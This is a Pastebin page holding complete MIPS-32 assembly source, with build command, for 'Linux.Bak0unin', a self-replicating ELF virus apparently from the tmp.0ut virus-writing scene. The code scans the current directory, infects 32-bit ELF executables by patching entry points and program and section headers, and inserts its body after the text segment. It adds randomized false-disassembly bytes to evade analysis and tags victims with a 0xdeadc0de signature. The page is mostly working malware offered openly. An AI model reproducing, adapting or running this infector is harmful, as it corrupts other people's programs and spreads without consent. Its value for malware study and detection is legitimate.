Advertisement
FlyFar

Linux.Bak0unin - A MIPS-32 ELF non-resident virus with false disassembly - Source Code

Jun 16th, 2023 (edited)
752
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 15.29 KB | Cybersecurity | 0 0
  1. ##############################################################
  2. ##  A MIPS-32 ELF non-resident virus with false disassembly ##
  3. ##  Made with love by S01den (@s01den)                      ##
  4. ##  From the tmp.0ut crew !                                 ##
  5. ##  01/2021                                                 ##
  6. ##############################################################
  7.  
  8. # .____    .__       ________  ________         _____  ._____________  _________   __________         __                .__
  9. # |    |   |__| ____ \_____  \ \_____  \       /     \ |   \______   \/   _____/   \______   \_____  |  | ____ __  ____ |__| ____
  10. # |    |   |  |/    \  _(__  <  /  ____/      /  \ /  \|   ||     ___/\_____  \     |    |  _/\__  \ |  |/ /  |  \/    \|  |/    \
  11. # |    |___|  |   |  \/       \/       \     /    Y    \   ||    |    /        \    |    |   \ / __ \|    <|  |  /   |  \  |   |  \
  12. # |_______ \__|___|  /______  /\_______ \ /\ \____|__  /___||____|   /_______  / /\ |______  /(____  /__|_ \____/|___|  /__|___|  /
  13. #         \/       \/       \/         \/ \/         \/                      \/  \/        \/      \/     \/          \/        \/
  14.  
  15.  
  16. # build command: mips-as Linux.Bak0unine.asm -o bak.o ; mips-ld bak.o -o bak
  17.  
  18.  
  19. # ---------------------------- CUT-HERE ----------------------------
  20.  
  21. .text
  22.   .global _start
  23.  
  24. _start:
  25. # - start of the prolog - #
  26.  
  27. # first of all, we have to mmap an executable area in memory where we can copy the aligned code
  28.   sw    $zero,20($sp)
  29.   li    $v0,0
  30.   sw    $v0,16($sp)
  31.  
  32.   li $a0, 0
  33.   li $a1, 0x6a8
  34.   li $a2, 7    # PROT_READ|PROT_WRITE|PROT_EXEC
  35.   li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE
  36.   li $v0, 4210 # sys_mmap2
  37.   syscall
  38.  
  39.   bgezal $zero, get_pc
  40.   add $t1, $t1, 0x6f # 0x = the number of bytes to reach true_start
  41.   move $t2, $v0
  42.   li $t0, 0
  43.  
  44.   .get_vx: # copy the virus body in the memory region we've just mapped
  45.    lb $t3, 0($t1)
  46.    sb $t3, 0($t2)
  47.    addi $t0, $t0, 1
  48.    addi $t1, $t1, 1
  49.    addi $t2, $t2, 1
  50.    blt $t0, 0x615, .get_vx
  51.  
  52.    jal $v0 # jump to the mmaped region
  53.    beq $zero, $zero, eof
  54.  
  55.  get_pc:
  56.    move $t1, $ra
  57.    jr $ra
  58.  
  59.  eof:
  60.    li $a0, 2
  61.    li $v0, 4001 # sys_exit
  62.    syscall
  63.    .ascii "\xac\xab\xac\xab" # Because the code to get to the OEP is larger than eof, we have to make padding
  64.    .ascii "\xac\xab\xac\xab"
  65.    .ascii "\xac\xab\xac\xab"
  66.    .ascii "\xac\xab\xac\xab"
  67.    .ascii "\xac\xab\xac\xab"
  68.    .ascii "\xac\xab\xac\xab"
  69.  
  70.  .ascii "\xeb\x01\xe8" # false-disas bytes; different for every new infection
  71.  # - end of the prolog - #
  72.  # - The beginning of the virus body - #
  73.  true_start:
  74.  addi $gp, $ra, 64
  75.  move $v1, $sp
  76.  sub  $sp, $sp, 0x1000
  77.  move $a0, $sp
  78.  li $a1, 0xff
  79.  li $v0, 4203 # sys_getcwd
  80.  syscall
  81.  
  82.  move $a0, $sp
  83.  li $a1, 0
  84.  li $a2, 0
  85.  li $v0, 4005 # sys_open
  86.  syscall
  87.  
  88.  blt $v0, 0, payload # exit if return code of sys_open is < 0
  89.  
  90.  move $a0, $v0
  91.  move $a1, $sp
  92.  li $a2, 1024
  93.  li $v0, 4219 # sys_getdents64
  94.  syscall
  95.  move $s1, $v0 # store the result (the number of entries) in $s1
  96.  
  97.  li $v0, 4006 # sys_close
  98.  syscall
  99.  
  100.  li $s0, 0 # s0 will be our counter
  101.  parse_dir:
  102.    move $s2, $sp # s2 will contain the address of the filename
  103.    addi $s2, $s2, 0x13 # d_name
  104.  
  105.    li $t1, 0
  106.    addi $t1, $sp, 0x12
  107.    lb $t1, 0($t1) # t1 now contains the type of the entry (file or dir)
  108.  
  109.    bgezal $zero, infect  
  110.  
  111.    li $t9, 0
  112.    addi $t9, $sp, 0x10 # get d_reclen (see the organization of the dirent64 structure...)
  113.    lb $t0, 1($t9) # the buffer position += d_reclen
  114.  
  115.    add $s0, $s0, $t0
  116.    add $sp, $sp, $t0
  117.  
  118.    blt $s0, $s1, parse_dir # if counter < nbr of entries : jmp to parse_dir
  119.    beq $zero, $zero, payload  
  120.  
  121. infect:
  122.  ############## REGISTER TABLE ##############
  123.  ## $s0 = counter of entries               ##
  124.  ## $s1 = the number of entries            ##
  125.  ## $s2 = the addr of the filename we treat##
  126.  ## $s3 = the addr of the stack before jal ##
  127.  ## $s4 = the fd of the potential host     ##
  128.  ## $s5 = the addr returned by mmap        ##
  129.  ## $s6 = OEP                              ##
  130.  ## $s7 = virtual addr of the vx = new EP  ##
  131.  ## $t9 = length of the file               ##
  132.  ############################################
  133.  
  134.  move $s3, $sp
  135.  sub $sp, $sp, 0x100
  136.  bne $t1, 0x8, end # if the name we've got isn't a filename, return to parse_dir
  137.  
  138.  li $v0, 4005
  139.  move $a0, $s2
  140.  li $a1, 0x402 # RW mode
  141.  li $a2, 0
  142.  syscall # sys_open
  143.  
  144.  bgt $v0, 0x10, end # if the openning failed : jmp to parse_dir
  145.  move $s4, $v0
  146.  
  147.  move $a0, $s4
  148.  move $a1, $sp
  149.  li $v0, 4108 # sys_fstat (to know the length of the file we're trying to infect)
  150.   syscall
  151.  
  152.   lw $t9, 48($sp)
  153.  
  154.   # I didn't know how to pass more than 4 arguments (the registers $a0...$a3), so I made a simple program that use mmap()
  155.  # and disassembled it to see how mmap was called, that's where I've got the 3 following lines
  156.     sw  $zero,20($sp)
  157.   li    $v0,3
  158.   sw    $v0,16($sp)
  159.  
  160.  li $a0, 0
  161.  move $a1, $t9
  162.  li $a2, 6
  163.  li $a3, 1
  164.  li $v0, 4210 # sys_mmap2 (to map the content of the file in memory)
  165.  syscall
  166.  
  167.  move $s5, $v0
  168.  
  169.  .check_magic:
  170.    lw $t0, 0($s5)
  171.    li $t1, 0x7f454c46 # Check if the file is an ELF (by checking the magic bytes)
  172.    bne $t0, $t1, end
  173.  
  174.  .check_bits:
  175.    lb $t0, 4($s5)
  176.    bne $t0, 1, end # here, we check e_ident[EI_CLASS], to know if the ELF we're trying to infect is 32 or 64-bit (if it's 64-bit, goto end)
  177.  
  178.  .check_signature:
  179.    lw $t0, 9($s5)  # the signature is located in e_hdr.padding, such as in Lin64.Kropotkine
  180.    beq $t0, 0xdeadc0de, end
  181.  
  182.  .infection:
  183.    
  184.  
  185.    lh $t0, 0x2c($s5) # load e_phnum in $t0
  186.    li $t1, 0         # the counter of program headers
  187.    lw $t5, 0x1c($s5) # load e_phoff in $t2
  188.  
  189.    .search_phdr: # in this sub-routine, we're looking for the segment which contains .text
  190.       lh $t3, 0x2a($s5) # load e_phentsize in $t3
  191.       mult $t3, $t1
  192.       mflo $t3
  193.       add $t3, $t3, $t5
  194.       add $t2, $s5, $t3
  195.  
  196.       lw $t3, 0($t2) # load p_type in $t3
  197.       bne $t3, 1, .end_loop_search_t # 1 = PT_LOAD so here we check if the segment is loadable
  198.  
  199.       lw $t3, 0x18($t2) # load p_flags in $t3
  200.       bne $t3, 5, .end_loop_search_t # 5 = PT_X | PT_R so here we check if the segment is readable and executable
  201.  
  202.       # if we're here, we've found the right phdr
  203.       lw $t3, 0x4($t2)  # load p_offset in $t3
  204.       lw $t4, 0x10($t2) # load p_filesz in $t4
  205.       add $s6, $t3, $t4 # end_of_.text = offset_.text + length_.text
  206.       lw $t3, 0x8($t2)  # load p_vaddr in $t3
  207.       add $s7, $t3, $t4 # virtual addr of the start of the vx body = virtual addr of the end of .text so vaddr_vx = vaddr_.text + length_.text
  208.       lw $t3, 0x18($s5) # save the original entry point in $t8
  209.       sw $s7, 0x18($s5) # patch the entry point with vaddr_vx
  210.       move $s7, $t3
  211.  
  212.       # -- add to p_filesz the size of the vx --
  213.       lw $t3, 0x10($t2)
  214.       addi $t3, $t3, 0x6a8
  215.       sw $t3, 0x10($t2)
  216.  
  217.       # -- add to p_memsz the size of the vx --
  218.       lw $t3, 0x14($t2)
  219.       addi $t3, $t3, 0x6a8
  220.       sw $t3, 0x14($t2)
  221.  
  222.       # -- insert the signature of the vx --
  223.       li $t3, 0xdeadc0de
  224.       sw $t3, 0x9($s5)
  225.  
  226.       addi $t1, $t1, 1
  227.       # in this routine we'll patch the lasts phdr to take into account the size of the vx
  228.      .increase_sizeof_phdr:
  229.        lh $t3, 0x2a($s5) # load e_phentsize in $t3
  230.        mult $t3, $t1
  231.        mflo $t3
  232.        add $t3, $t3, $t5
  233.        add $t2, $s5, $t3
  234.  
  235.        # increase p_offset
  236.        lw $t3, 4($t2)
  237.        addi $t3, $t3, 4096 # add PAGE_SZ32 to p_offset
  238.        sw $t3, 4($t2)
  239.  
  240.        addi $t1, $t1, 1
  241.        blt $t1, $t0, .increase_sizeof_phdr
  242.  
  243.      beq $zero, $zero, .search_shdr
  244.  
  245.      .end_loop_search_t:
  246.        addi $t1, $t1, 1
  247.        blt $t1, $t0, .search_phdr
  248.  
  249.    .search_shdr:
  250.      lh $t0, 0x30($s5) # load e_shnum in $t0
  251.      li $t1, 0         # the counter of section headers
  252.      lw $t5, 0x20($s5) # load e_shoff in $t2
  253.  
  254.      .loop_shdr:
  255.        lh $t3, 0x2e($s5) # load e_shentsize in $t3
  256.        mult $t3, $t1
  257.        mflo $t3
  258.        add $t3, $t3, $t5
  259.        add $t2, $s5, $t3
  260.  
  261.        lw $t3, 0x10($t2) # sh_offset
  262.        bgt $t3, $s6, .section_after_txt_end
  263.        lw $t3, 0x14($t2) # sh_size
  264.        lw $t4, 0x0C($t2) # sh_addr
  265.        add $t4, $t4, $t3
  266.        beq $t4, $s6, .section_of_vx
  267.  
  268.        .end_loop_shdr:
  269.          addi $t1, $t1, 1
  270.          blt $t1, $t0, .loop_shdr
  271.        beq $zero, $zero, .end_infection
  272.  
  273.        .section_after_txt_end:
  274.          addi $t3, $t3, 4096 # add PAGE_SZ32 to sh_offset
  275.          sw $t3, 0x10($t2)
  276.          beq $zero, $zero, .end_loop_shdr
  277.  
  278.        .section_of_vx:
  279.          addi $t3, $t3, 0x6a8 # <- add the vx size to sh_size
  280.          sw $t3, 0x14($t2)
  281.          beq $zero, $zero, .end_loop_shdr
  282.  
  283.    .end_infection:
  284.    # -- add to e_shoff the size of a 32 bit page (because the section header table is located at the end of the file) --
  285.    lw $t0, 0x20($s5)
  286.    addi $t0, $t0, 4096
  287.    sw $t0, 0x20($s5)
  288.  
  289.    move $a0, $s5
  290.    move $a1, $t9
  291.    li $a2, 0
  292.    li $v0, 4144
  293.    syscall # sys_msync, to apply the change to the file
  294.  
  295.    sub $sp, $sp, 0x6a8 # <- make room in the stack for the vx bytes
  296.    move $t7, $ra
  297.  
  298.    li $t0, 0
  299.    move $t2, $sp
  300.  
  301.    # copy the prolog of the virus (and change randomly the bytes)
  302.    # ---- the code to hardcode ----
  303.    # afa00014       sw zero, 0x14(sp)
  304.    # 24020000       addiu v0, zero, 0
  305.    # afa20010       sw v0, 0x10(sp)
  306.    # 24040000       addiu a0, zero, 0
  307.    # 240506a8       addiu a1, zero, 0x6a8
  308.    # 24060007       addiu a2, zero, 7
  309.    # 24070802       addiu a3, zero, 0x802
  310.    # 24021072       addiu v0, zero, 0x1072
  311.    # 0000000c       syscall
  312.    # 04110011       bal loc.get_pc
  313.    # 00000000       nop
  314.    # 2129006f       addi t1, t1, 0x6f
  315.    # 00405025       move t2, v0
  316.    # 24080000       addiu t0, zero, 0
  317.    # -- .get_vx:
  318.    # 812b0000       lb t3, (t1)
  319.    # 00000000       nop
  320.    # a14b0000       sb t3, (t2)
  321.    # 21080001       addi t0, t0, 1
  322.    # 21290001       addi t1, t1, 1
  323.    # 214a0001       addi t2, t2, 1
  324.    # 29010615       slti at, t0, 0x615
  325.    # 1420fff8       bnez at, loc..get_vx
  326.    # 00000000       nop
  327.    # 0040f809       jalr v0
  328.    # 00000000       nop
  329.    # 10000003       b loc.eof
  330.    # 00000000       nop
  331.    # -- get_pc:
  332.    # 03e00008       jr ra
  333.    # 03e04825       move t1, ra
  334.    # ------------------------------
  335.  
  336.    li $t3, 0xafa00014
  337.    sw $t3, 0($t2)
  338.    addi $t2, $t2, 4
  339.    li $t3, 0x24020000
  340.    sw $t3, 0($t2)
  341.    addi $t2, $t2, 4
  342.    li $t3, 0xafa00010
  343.    sw $t3, 0($t2)
  344.    addi $t2, $t2, 4
  345.    li $t3, 0x24040000
  346.    sw $t3, 0($t2)
  347.    addi $t2, $t2, 4
  348.    li $t3, 0x240506a8
  349.    sw $t3, 0($t2)
  350.    addi $t2, $t2, 4
  351.    li $t3, 0x24060007
  352.    sw $t3, 0($t2)
  353.    addi $t2, $t2, 4
  354.    li $t3, 0x24070802
  355.    sw $t3, 0($t2)
  356.    addi $t2, $t2, 4
  357.    li $t3, 0x24021072
  358.    sw $t3, 0($t2)
  359.    addi $t2, $t2, 4
  360.    li $t3, 0x0000000c
  361.    sw $t3, 0($t2)
  362.    addi $t2, $t2, 4
  363.    li $t3, 0x0411000f
  364.    sw $t3, 0($t2)
  365.    addi $t2, $t2, 4
  366.    li $t3, 0x00000000
  367.    sw $t3, 0($t2)
  368.    addi $t2, $t2, 4
  369.    li $t3, 0x2129006f
  370.    sw $t3, 0($t2)
  371.    addi $t2, $t2, 4
  372.    li $t3, 0x00405025
  373.    sw $t3, 0($t2)
  374.    addi $t2, $t2, 4
  375.    li $t3, 0x24080000
  376.    sw $t3, 0($t2)
  377.    addi $t2, $t2, 4
  378.    li $t3, 0x812b0000
  379.    sw $t3, 0($t2)
  380.    addi $t2, $t2, 4
  381.    li $t3, 0x00000000
  382.    sw $t3, 0($t2)
  383.    addi $t2, $t2, 4
  384.    li $t3, 0xa14b0000
  385.    sw $t3, 0($t2)
  386.    addi $t2, $t2, 4
  387.    li $t3, 0x21080001
  388.    sw $t3, 0($t2)
  389.    addi $t2, $t2, 4
  390.    li $t3, 0x21290001
  391.    sw $t3, 0($t2)
  392.    addi $t2, $t2, 4
  393.    li $t3, 0x214a0001
  394.    sw $t3, 0($t2)
  395.    addi $t2, $t2, 4
  396.    li $t3, 0x29010615
  397.    sw $t3, 0($t2)
  398.    addi $t2, $t2, 4
  399.    li $t3, 0x1420fff8
  400.    sw $t3, 0($t2)
  401.    addi $t2, $t2, 4
  402.    li $t3, 0x00000000
  403.    sw $t3, 0($t2)
  404.    addi $t2, $t2, 4
  405.    li $t3, 0x00400008
  406.    sw $t3, 0($t2)
  407.    addi $t2, $t2, 4
  408.    li $t3, 0x00000000
  409.    sw $t3, 0($t2)
  410.    addi $t2, $t2, 4
  411.    li $t3, 0x03e00008
  412.    sw $t3, 0($t2)
  413.    addi $t2, $t2, 4
  414.    li $t3, 0x03e04825
  415.    sw $t3, 0($t2)
  416.    addi $t2, $t2, 4
  417.  
  418.    # ---- the code to hardcode ----
  419.    # 0411fff5       bal get_pc
  420.    # 00000000       nop
  421.    # 2129fc70       addi t1, t1, -0x390
  422.    # 3401dead       ori at, zero, 0xdead
  423.    # 01214822       sub t1, t1, at
  424.    # 2129beef       addi t1, t1, -0x4111
  425.    # 0060e825       move sp, v1
  426.    # 01200008       jr t1
  427.    # ------------------------------
  428.  
  429.    # here we're writting the code to ret2OEP despite the PIE
  430.  
  431.     li $t3, 0x0411fffd
  432.     sw $t3, 0($t2)
  433.     addi $t2, $t2, 4
  434.  
  435.     li $t3, 0x00000000
  436.     sw $t3, 0($t2)
  437.     addi $t2, $t2, 4
  438.  
  439.     li $t3, 0x2129ff8c
  440.     sw $t3, 0($t2)
  441.     addi $t2, $t2, 4
  442.  
  443.     li $t3, 0x3401
  444.     sh $t3, 0($t2)
  445.     addi $t2, $t2, 2
  446.  
  447.     move $t3, $s6
  448.     sh $t3, 0($t2)
  449.     addi $t2, $t2, 2
  450.  
  451.     li $t3, 0x01214822
  452.     sw $t3, 0($t2)
  453.     addi $t2, $t2, 4
  454.  
  455.     li $t3, 0x2129
  456.     sh $t3, 0($t2)
  457.     addi $t2, $t2, 2
  458.  
  459.     move $t3, $s7
  460.     sh $t3, 0($t2)
  461.     addi $t2, $t2, 2
  462.  
  463.     li $t3, 0x0060e825
  464.     sw $t3, 0($t2)
  465.     addi $t2, $t2, 4
  466.  
  467.     li $t3, 0x01200008
  468.     sw $t3, 0($t2)
  469.     addi $t2, $t2, 4
  470.  
  471.     li $t3, 0x00000000
  472.     sw $t3, 0($t2)
  473.     addi $t2, $t2, 4
  474.  
  475.     nop
  476.  
  477.     xor $v0, $t2, 0xdead # thanks to the aslr, t2 is random \o/ so we use it as a seed to randomize the bytes which make the false disassembly
  478.     move $t3, $v0        
  479.     sw $t3, 0($t2)    
  480.  architectures)
  481.     addi $t2, $t2, 3     # (I'm writing a paper on this... ;))
  482.  
  483.    bgezal $zero, get_pc_2
  484.    sub $t1, $t1, 0x530 # 0x530 = the number of bytes before this routine in the virus body
  485.  
  486.    .get_vx_2:
  487.      lb $t3, 0($t1)
  488.      sb $t3, 0($t2)
  489.      addi $t0, $t0, 1
  490.      addi $t1, $t1, 1
  491.      addi $t2, $t2, 1
  492.      blt $t0, 0x615, .get_vx_2 # 0x611 = the size of the virus body
  493.  
  494.    move $ra, $t7
  495.  
  496.    move $a0, $s4
  497.    lw $a1, 0x20($s5)
  498.    li $a2, 0    # SEEK_SET
  499.    li $v0, 4019 # sys_lseek
  500.    syscall # here, we seek after the future vx code
  501.  
  502.    move $a0, $s4
  503.    lw $t0, 0x20($s5)
  504.    sub $t0, $t0, 4096
  505.    add $a1, $s5, $t0
  506.    move $a2, $t9
  507.    sub $a2, $a2, $t0 # len of host - text_end = length of the end of the file
  508.    li $v0, 4004  # sys_write
  509.    syscall
  510.  
  511.    move $a0, $s4
  512.    move $a1, $s6
  513.    li $a2, 0    # SEEK_SET
  514.    li $v0, 4019 # sys_lseek
  515.    syscall
  516.  
  517.    move $a0, $s4
  518.    move $a1, $sp
  519.    li $a2, 4096 # len =  PAGE_SZ32
  520.    li $v0, 4004 # sys_write
  521.    syscall
  522.  
  523.    move $a0, $s5
  524.    move $a1, $t9
  525.    li $a2, 0
  526.    li $v0, 4091
  527.    syscall # sys_munmap
  528.  
  529. end:
  530.  move $a0, $s4
  531.  li $v0, 4006 # sys_close
  532.  syscall
  533.  move $sp, $s3
  534.  jr $ra
  535.  
  536. get_pc_2:
  537.  move $t1, $ra
  538.  jr $ra
  539.  
  540.  
  541. payload:
  542.    li $a0, 0
  543.    li $t0, 0x585f580a # X_X
  544.    sw $t0, 0($sp)
  545.    move $a1, $sp
  546.    li $a2, 4
  547.    li $v0, 4004 # sys_write
  548.    syscall
  549.    jr $gp
  550.  # - end of the virus body - #
  551.  
  552. # ---------------------------- CUT-HERE ----------------------------
  553.  
  554. # ___________                              __
  555. # \__    ___/____ ______      ____  __ ___/  |_
  556. #   |    | /     \\____ \    /  _ \|  |  \   __\
  557. #   |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |
  558. #   |____||__|_|  /   __/ /\ \____/|____/ |__|
  559. #               \/|__|    \/
  560. #
  561. # --> Stay tuned...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement